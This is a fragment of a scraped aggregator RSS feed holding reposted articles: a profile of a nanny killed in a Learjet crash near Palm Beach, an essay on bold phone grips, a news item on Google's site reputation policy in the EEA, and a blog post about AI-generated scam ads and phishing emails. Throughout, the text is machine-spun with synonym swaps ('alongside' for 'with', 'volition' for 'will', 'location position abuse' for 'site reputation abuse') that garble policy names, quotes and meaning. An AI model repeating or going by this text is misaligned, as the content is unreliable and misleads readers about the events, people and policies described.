https://i.insider.com/6aeb8ad9c54bfafa65abf030?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6aeb8ad9c54bfafa65abf030?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6aeb8ad9c54bfafa65abf030?width=1300&amp;format=jpeg&amp;auto=webp 1300w" sizes=" 1280px) 900px" alt="Ana Maria and the Robinson family." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Ana Mar&iacute;a Ram&iacute;rez Cetina was a nanny for the Robinson family.</span> <span> <span e-name="image-source" itemprop="creditText">Courtesy of the Cetina and Robinson families.</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>Ana Mar&iacute;a Ram&iacute;rez Cetina, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">24</a>, was among the victims of the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Learjet crash</a> near Palm Beach on Sunday.</p><p>She was operating as a nanny for <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}'>Adam Robinson and Helen Sharp</a>'s children, Emma and Charlie, who were additionally victims in the accident, alongside alongside the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">other passengers</a> and pilots.</p><p>In a Tuesday <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">X post</a>, Colombian President Abelardo de la Espriella mourned Ana Mar&iacute;a, a Colombian citizen.</p><p>"Her untimely passing fills us alongside sadness," Abelardo de la Espriella wrote in the post, translated by Business Insider from Spanish. "To her family, friends, and loved ones, I dispatch a heartfelt clasp and all my solidarity in this difficult moment."</p><h2 id="4e7d333c-4e6f-427b-b3bb-e100a89978f7" data-toc-id="4e7d333c-4e6f-427b-b3bb-e100a89978f7">She had a flat in biomedical engineering</h2><p>Ana Mar&iacute;a Ram&iacute;rez Cetina was a biomedical engineering alumnus from ECCI University in Bogot&aacute;, according to a Tuesday discussion alongside her sister, Angie Ram&iacute;rez Cetina, on <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Colombia's Caracol Radio</a>.</p><p>Seeking improved opportunities, she stated Ana Mar&iacute;a moved to the US concerning two years ago alongside her mother and lived in Glenwood Springs, Colorado, during caring for the family based in Aspen.</p><p>She additionally told Caracol Radio that Ana Mar&iacute;a had established it difficult to discover a job and, not wanting to sit still, successfully established activity as a nanny: "She was extremely blessed alongside that family," Angie said.</p><div id="1793807172237" data-styles="default-width" data-embed-type="custom" data-script="https://platform.x.com/widgets.js" data-type="embed"><blockquote><p lang="es" dir="ltr">Con profundo dolor recibo la noticia del fallecimiento de nuestra compatriota Ana Mar&iacute;a Ram&iacute;rez Cetina, v&iacute;ctima del tr&aacute;gico accidente ocurrido en Florida, Estados Unidos. Su partida prematura nos llena de tristeza. A su familia, amigos y seres queridos les env&iacute;o un abrazo de coraz&oacute;n y toda mi solidaridad en este dif&iacute;cil momento. Que Dios les conceda la fortaleza y el consuelo necesarios para afrontar esta irreparable p&eacute;rdida. Paz en su tumba. (A.D.L.E.) &#127464;&#127476;&#128005;</p>&mdash; Abelardo De La Espriella (@ABDELAESPRIELLA) <a href="https://en.mycoding.id/category/business" target="_blank" rel=" nofollow" target="_blank">November 3, 2026</a></blockquote> </div><p>Angie stated that Ana Mar&iacute;a video-called her from the airfield before she boarded the flight, and had sent her a photo of the plane.</p><p>Angie had additionally sent her a video of her son, which Ana Mar&iacute;a stated she would observe as shortly as she landed.</p> <p>"My sister and I were inseparable," she added. "Truly, Ana Mar&iacute;a volition continually be my another half."</p><p>In a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">joint statement</a>, the victims' families wrote, "Anita Maria cared for Emma and Charlie alongside tenderness and devotion, and she was really part of the family. She showed us a bequest of unconditional affection and devotion."</p><h2 id="498022e5-0b09-4010-aaf9-04b35e17be36" data-toc-id="498022e5-0b09-4010-aaf9-04b35e17be36">She loved traveling</h2><p>In a Tuesday discussion alongside Colombia's <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">La FM</a> radio,<strong> </strong>Mario Alejandro Ram&iacute;rez, Ana Mar&iacute;a's father, stated they said multiple times a week and that she frequently told him concerning her travels.</p><p>"It was extremely difficult for me, but it was her dream, and I told her: keep going, and I'm continually there for her, keep going," he stated in the interview, translated from Spanish. "She would inform me: 'Dad, I'm going this way, Dad, I'm going that way.' She really liked to travel, and things were operating out for her there."</p><p>He added that Ana Mar&iacute;a had moved to the US before she could collect her diploma, so he went to the university to obtain it on her behalf.</p><p>"It was an accomplishment for her and for me too," he said.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Roya is a newsman on Business Insider's Editorial Partnerships team. She is based in London.&nbsp;</span><span>Before joining Business Insider, she worked as a newsman at financial newswire Alliance News and was an intern at The Wall Street Journal.&nbsp;Roya graduated from City St George's, University of London alongside an MA in International Journalism.&nbsp;</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/who-was-ana-maria-ramirez-cetina-the-nanny-killed-in-the-learjet-crash-75692</guid> <pubDate>Wed, 04 Nov 2026 22:36:37 +0700</pubDate> <author><![CDATA[support@mycoding.id (Roya Shahidi)]]></author> </item> <item> <title><![CDATA[How I learned to love an obnoxious phone grip]]></title> <description><![CDATA[How I learned to love an obnoxious phone grip. Much akin a awesome recipe, it started alongside a rod of butter. This wasn't genuine butter; it was a friend's new phone grip, complemented by a phone case alongside bold s...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/IMG_1326_edit.jpg?quality=90&amp;strip=all&amp;crop=0,15.095986038394,100,69.808027923211"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/how-i-learned-to-love-an-obnoxious-phone-grip-75688</link> <content:encoded><![CDATA[<div id="zephr-anchor"><p>Much akin a awesome recipe, it started alongside a rod of butter.</p><p>This wasn&rsquo;t genuine butter; it was a friend&rsquo;s new phone grip, complemented by a phone case alongside bold stripes. Butter is <em>in vogue</em> now, or at smallest that&rsquo;s what a 12-year-old told me a few months ago. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="sponsored">This rod of butter</a> was tagged &ldquo;unsalty&rdquo; and committed to the bit by including the suitable tablespoon markings, fair akin the genuine thing. I was enamored. &ldquo;Where did you get that?&rdquo; I asked. It was a PopSocket-branded combo, and I established it so irresistible I ordered an likewise eye-catching grip a few weeks later. After years of carrying buttoned-up, minimalist tech, I eventually said, &ldquo;To hell alongside it. I&rsquo;m gonna have several fun.&rdquo; I have zero regrets, and it seems I&rsquo;m not solitary in this journey.</p><p>Over the former few years I&rsquo;ve been a vocal, occasionally regretful, associate of Team No Phone Case. A case adds bulk and collects pocket lint. Why expend $800 on a part of tech fair to shield it up? If I must use a case, <a href="https://en.mycoding.id/category/technology" target="_blank">I desire it to barely exist</a>. This doctrine worked awesome alongside my iPhone 13 Mini, which is ideal as-is. Its size method it&rsquo;s eminently grippable &mdash; no PopSocket necessary and it feels much additional safe whenever I clasp it. But phones are big now and are lone getting bigger.</p><div><div><p>Since it&rsquo;s fair held on by a magnet, you can obtain it off whenever you desire to current yourself as a grave grownup</p></div></div><p>An extended duration using Google&rsquo;s hefty Pixel 10 Pro Fold final twelvemonth convinced me to clasp a magnetic grip fair to use the item additional comfortably. At first, I gravitated toward the minimalist options akin low-profile circle stands. But afterward I saw that rod of butter, and item clicked. A chunky grip is uncomplicated to hold. It&rsquo;s fun. And since it&rsquo;s fair held on by a magnet, you can obtain it off whenever you desire to current yourself as a grave grownup. Why not? I put in an command for a PopSocket shaped akin a hot dog, and I was so enthusiastic whenever it arrived <a href="https://en.mycoding.id/category/technology" target="_blank">I accidentally pulled it apart</a>.</p><p>This &ldquo;why not have fun&rdquo; ethos has plainly been part of Bailey Hikawa&rsquo;s goal for the improved part of a decade. She&rsquo;s been making unconventional phone grips and cases out of her Los Angeles studio since 2018. Her designs merge input from the impaired community, aiming to recommendation an easier grip for group who clasp their phone differently. But they can be appreciated by anyone who&rsquo;s always felt their phone glide out of their fingers. They&rsquo;re additionally vibrant and bold. &ldquo;I would akin the phone case to awareness akin a companion or akin a new stuffed animal,&rdquo; <a href="https://en.mycoding.id/category/technology" target="_blank">she told <em>The Verge</em></a> in 2019. Earlier this year, Apple collaborated alongside Hikawa on <a href="https://en.mycoding.id/category/technology" target="_blank">a chunky, brilliant MagSafe grip</a>. Her own online shop includes another grips made of flexible, apparent urethane alongside spaghetti noodles or baby shrimp suspended inside. They&rsquo;re handmade and the extremely definition of one-of-a-kind.</p><div><div><div><div class=""><div><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="1099" data-pswp-width="1466" target="_blank" rel="noreferrer"><img alt="A large, brightly colored grip on the rear of an iPhone. It has a gap through it and many of exterior area for gripping." data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 50vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=256 256w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/hikawa.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400"></a></p></div></div></div></div></div><p>In additional accepted territory, PopSocket has a amazing figure of different grips and cases on offer. There&rsquo;s a <a href="https://en.mycoding.id/category/technology" target="_blank" rel="sponsored">classic tomato pincushion</a>, the <a href="https://en.mycoding.id/category/technology" target="_blank" rel="sponsored">food truck collection</a> anywhere I established my cherished hot dog, and an aptly named <a href="https://en.mycoding.id/category/technology" target="_blank" rel="sponsored">&ldquo;Sugar Rush&rdquo; collection</a>. I asked PopSocket originator David Barnett whether I was solitary in my chase of a bold grip. &ldquo;We&rsquo;re seeing additional consumers clasp color, texture and character in their phone accessories,&rdquo; he told me complete email. &ldquo;I think group desire their mundane essentials to awareness a small little ordinary. Your phone goes everyplace alongside you, so why not have a small fun alongside it?&rdquo;</p><div><div id=":R74mpjmlmn6:"><div><div><div class=""><div class=""><div><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="1189.3333333333333" data-pswp-width="1784" target="_blank" rel="noreferrer"><img alt="A brightly colored PopSockets wallet grip on the rear of an iPhone" data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 50vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=256 256w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/power_bank.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=2400"></a></p></div></div></div></div><div><div class=""><div class=""><div><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="768" data-pswp-width="1152" target="_blank" rel="noreferrer"><img alt="A brilliant orange phone case alongside a blob of resin-like matter as a grip. The blob contains models of baby shrimp." data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 50vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=256 256w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/shrimpies.jpg?quality=90&amp;strip=all&amp;crop=0%2C5.5555555555556%2C100%2C88.888888888889&amp;w=2400"></a></p></div></div></div></div></div></div></div><p>I think phone makers are partially to accuse here, too. Aside from your stray <a href="https://en.mycoding.id/category/technology" target="_blank">Cosmic Orange</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">anything Motorola is doing</a>, phones mostly arrive in shades of Boring and Light Boring. Don&rsquo;t equal get us started on <a href="https://en.mycoding.id/category/technology" target="_blank">what passes for a purple phone</a> these days. Maybe a extreme reply to this sameness was inevitable. Whatever the reason, you can discover an awful lot of punchy, vibrant grips and cases without much effort. There are color-blocked &ldquo;dopamine&rdquo; cases <a href="https://en.mycoding.id/category/technology" target="_blank">all complete TikTok</a> and Amazon, <a href="https://en.mycoding.id/category/technology" target="_blank" rel="sponsored">viral phone cases that clasp a pipe of lip gloss</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">OhSnap grips</a> in colors called things akin &ldquo;hazmat honey&rdquo; and &ldquo;electric teal.&rdquo;</p><p>Me and my ridiculous PopSocket are in fine company. Or we volition be &mdash; I remaining it in the agency final period I was in New York and its deficiency has been bumming me out always since. We&rsquo;ll be reunited shortly enough, but I conjecture if there&rsquo;s one downside to being capable to obtain a grip off your phone easily, it&rsquo;s that you can accidentally depart it rearward without much effort.</p><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6MTA2"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Allison Johnson</span></span></span></li><li><li><li></ul></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/how-i-learned-to-love-an-obnoxious-phone-grip-75688</guid> <pubDate>Wed, 04 Nov 2026 22:30:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Allison Johnson)]]></author> </item> <item> <title><![CDATA[Google Emails: Site Reputation Policy Manual Actions No Longer Impact EEA]]></title> <description><![CDATA[Google Emails: Site Reputation Policy Manual Actions No Longer Impact EEA. Google fair sent out emails to several sites that have location position abuse guideline manual actions that those manual actions won't effect the hunt results within...]]></description> <media:thumbnail url="https://images.seroundtable.com/google-message-site-reputation-policy-eea-n32AAECI.jpg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/google-emails-site-reputation-policy-manual-actions-no-longer-impact-eea-75689</link> <content:encoded><![CDATA[<div class="order-4 order-4 text-lg"> <p><img src="https://images.seroundtable.com/google-eu-broken-GDApGgLc.jpg" alt="Google Eu Broken"></p><p>Google fair sent out emails to several sites that have <a href="https://en.mycoding.id/category/business" target="_blank">site position abuse policy</a> manual actions that those manual actions won't effect the hunt results inside the EEA, European Economic Area. This really took consequence on <a href="https://en.mycoding.id/category/business" target="_blank">August 30, 2026</a>, but now, two months later, Google is notifying location owners via Google Search Console.</p><p>The email was posted by Glenn Gabe on <a href="https://en.mycoding.id/category/business" target="_blank">X</a> and it reads:</p><p></p><blockquote>New Site Reputation Policy Change<p>Google has lately made several changes to its location position guideline inside the EEA. For pages that were earlier topic to a manual act under the location position policy, the former manual act volition no longer effect hunt results shown to users inside the EEA. Click current to perspective the changes to the policy, and current for additional information.</p></blockquote><p>Glenn wrote, "New location position abuse emails went out fair now to sites that have been affected by SRA manual actions in the past. The email explains the changes according to how sites volition be handled for users in the EEA." "Note, this seems to have gone out to sites that don't have manual actions now for SRA (although they did at several item in the past)," Glenn added.</p><p>Here is his screenshot:</p><p><a href="https://en.mycoding.id/category/business" target="_blank" target="_blank"><img src="https://images.seroundtable.com/google-email-site-reputation-policy-eea-qj9MNXMx.jpg" alt="Google Email Site Reputation Policy Eea"></a></p><p>There is additionally this communication that is displayed in the manual actions spectator inside Search Console - "View connected messages":</p><p><a href="https://en.mycoding.id/category/business" target="_blank" target="_blank"><img src="https://images.seroundtable.com/google-message-site-reputation-policy-eea-n32AAECI.jpg" alt="Google Message Site Reputation Policy Eea"></a></p><p>As a reminder, Google came up alongside the <a href="https://en.mycoding.id/category/business" target="_blank">site position abuse policy</a> whenever it announced the <a href="https://en.mycoding.id/category/business" target="_blank">March 2024 center update</a> to combat against what we've called <a href="https://en.mycoding.id/category/business" target="_blank">Parasite SEO</a>. In January 2025, Google began <a href="https://en.mycoding.id/category/business" target="_blank">enforcing its location position abuse guideline in Europe</a>.</p><p>We <a href="https://en.mycoding.id/category/business" target="_blank">knew this power happen</a>, but honestly, I <a href="https://en.mycoding.id/category/business" target="_blank">was surprised</a> whenever Google really went through alongside it. </p><p>Forum conversation at <a href="https://en.mycoding.id/category/business" target="_blank">X</a>.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/google-emails-site-reputation-policy-manual-actions-no-longer-impact-eea-75689</guid> <pubDate>Wed, 04 Nov 2026 22:19:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Barry@Rustybrick.com (Barry Schwartz))]]></author> </item> <item> <title><![CDATA[Everything is an AI scam now]]></title> <description><![CDATA[Everything is an AI scam now. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/everything-is-an-ai-scam-now-75693</link> <content:encoded><![CDATA[<div> <div> <p>Whenever you observe a video on YouTube now, you volition apt get an advert for a scammy product. In the former few weeks I've seen:</p> <ul> <li>A Tai Chi training program that promises to get you ripped akin <s>someone on steroids</s> a superhero in 20 days. (Tai chi? Really?)</li> <li>Glasses that can modify to any medication (not how glasses work) and are additionally sunglasses sometimes</li> <li>A small USB rod that offers liberated Internet alongside no limits.</li> <li>An air con component the size of a publish that can chill any area - any room! - in 90 seconds.</li> <li>Endless mobile games that likely don't exist.</li> </ul> <p>This is leaking into another parts of the net as fine alongside adverts on the flank increasingly looking akin chum buckets.</p> <p>What annoys me is how small verification there is for any of this. It's akin we have collectively decided that AI is inevitable, and the disbursal is the breakdown of fact itself. Scams used to be a bad item and there used to be measures in location to halt them. Now they've liberated the spam display and have run wild. As lengthy as person can create an unconvincing advert and pay, platforms volition obtain anything.</p> <p>So we have all this poorly made junk which breaks the rules of reality, so what? Most group are conscious its fake. The issue is the scammers lone need to get through to a extremely small percent of group to create their prosperity back.</p> <p>It's not fair adverts. I have my email in my footer and lean to get a lot of spam. However, the norm of the spam has gotten additional sophisticated. Take this email I got the another day.</p> <blockquote> <p>In a earth of noise and uncertainty, blackout poesy does item quietly extraordinary: it finds definition hidden inside the chaos, revealing ray anywhere none seemed to exist. <em>Our Voices in the Chaos</em> does exactly that, example readers into the madness of the earth and returning them alongside item they did not anticipate to find: hope. A ideal 5.0 ranking from your earliest audience is a promising beginning. The inquiry value considering is how many additional poesy lovers could detect this collection.</p> </blockquote> <p>On archetypal glance, this appears beautiful good! As a throw it's apparent they have busy alongside study the book... apart from of way they haven't. Here's how I depict the publish on <a href="https://en.mycoding.id/category/technology" target="_blank">this site</a>:</p> <blockquote> <p>In these blackout poems, you volition be drawn into the maddening anarchy of the earth and discover your own voices chanting within. It deals alongside ghosts, anxiety and complete social collapse, but alongside glimmers of anticipation strewn throughout akin the stars in the bare night sky.</p> </blockquote> <p>Someone has plainly pointed chatGPT at the leaf and stated create a throw to advertise this book. It equal uses several of the identical phrases! Even worse, I provision distant <em>Our Voices in the Chaos</em> as a liberated downloadable pdf, so I'm not looking to market it or get a "perfect 5.0" rating. This email is plainly phishing for data or money. It's the new type of the Nigerian Prince scam, lone additional tailored to susceptible writers and creators.</p> <p>I fair delete these emails now. But the scammers lone need to get a few group hooked and alongside these emails becoming additional individual and reflecting rear the author's words at them, the charge of group taking them up is lone going to increase.</p> <p>I'm not certain what we can do concerning this. I conjecture verifying a merchandise exists before accepting adverts for it would be a fine start, but I don't anticipate the huge net platforms to rotate the prosperity tap off. We need additional vigilance and additional awareness, but it's exhausting having to continually measure things for truth.</p> <hr> <p> If you would akin to recieve these posts in your inbox, why not sign up to my <a href="https://en.mycoding.id/category/technology" target="_blank">mailing list</a></p> <hr> <p> <strong>Next</strong>: <a href="https://en.mycoding.id/category/technology" target="_blank">August 2026 Round Up</a> | <strong>Previous</strong>: <a href="https://en.mycoding.id/category/technology" target="_blank">July 2026 Round Up</a> </p> </div> </div>]]></content:encoded> <guid 